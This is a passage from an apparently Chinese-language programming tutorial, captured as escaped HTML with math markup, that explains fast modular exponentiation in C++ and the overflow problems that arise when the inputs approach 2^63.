gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;5&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;6&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;7&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;8&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;或许渲染的有点小？没事，我们可以在代码中看看逻辑：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LL &lt;/span&gt;&lt;span&gt;qpow&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;LL &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;LL &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;LL &lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;){&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LL res&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;(b){&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;(b&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)  res&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;(res&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;a)&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&amp;gt;&amp;gt;=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;*=&lt;/span&gt;&lt;span&gt;a,a&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; res;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;在这个代码中，我们的核心就是去判断指数的二进制下的每一位，如果为 1 ，则乘上 &lt;span&gt;&lt;span&gt;a2na^{2^n}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，其中 &lt;span&gt;&lt;span&gt;nn&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 为当前位数，&lt;strong&gt;位数从 0 开始算起&lt;/strong&gt;。这里的 &lt;code&gt;a*=a&lt;/code&gt; 的原理为 &lt;span&gt;&lt;span&gt;a2n×a2n=a2n+2n=a2n+1a^{2^n}\times a^{2^n}=a^{2^n+2^n}=a^{2^{n+1}}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 即将我们用于乘进去的 a 再次往后推进一位。之所以选择将数字转换为二进制的其中一个原因正是 &lt;span&gt;&lt;span&gt;a2na^{2^n}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 平方以后非常自然地就使得 &lt;span&gt;&lt;span&gt;2n2^n&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 能够再次乘以二变为我们想要的 &lt;span&gt;&lt;span&gt;2n+12^{n+1}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 。&lt;/p&gt;&lt;p&gt;总结起来便是以下公式：&lt;/p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;ab mod m=∏ia(2i) mod m     (当 b 的第 i 位为 1)a^b\bmod m=\prod_{i}{a^{(2^i)}\bmod m}\ \ \ \ \ (\text{当 } b \text{ 的第 } i \text{ 位为 } 1)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;∏&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;当&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;的第&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;位为&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;到了这里这个快速幂倒是没问题了，但是一看原题，我们现在的解法还有一个致命的漏洞：大数溢出。因为原题的 &lt;span&gt;&lt;span&gt;a,ba,b&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 范围极大，达到了惊人的 &lt;span&gt;&lt;span&gt;2632^{63}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，要知道我们的 &lt;code&gt;long long&lt;/code&gt; 最大值也才 &lt;span&gt;&lt;span&gt;263−12^{63}-1&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，当 &lt;span&gt;&lt;span&gt;a=263a=2^{63}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 或 &lt;span&gt;&lt;span&gt;b,m=263b,m=2^{63}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 的时候我们的 &lt;code&gt;long long&lt;/code&gt; 压根存不下，所以我们得采用 &lt;code&gt;unsigned long long&lt;/code&gt; 来存储输入值。&lt;/p&gt;&lt;p&gt;但是仍然有一个问题，即使我们几乎做到每步都取模了，但是在极端情况下，&lt;span&gt;&lt;span&gt;a=263−1,b=263−1,m=263a=2^{63}-1,b=2^{63}-1,m=2^{63}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，不可避免地我们会面对 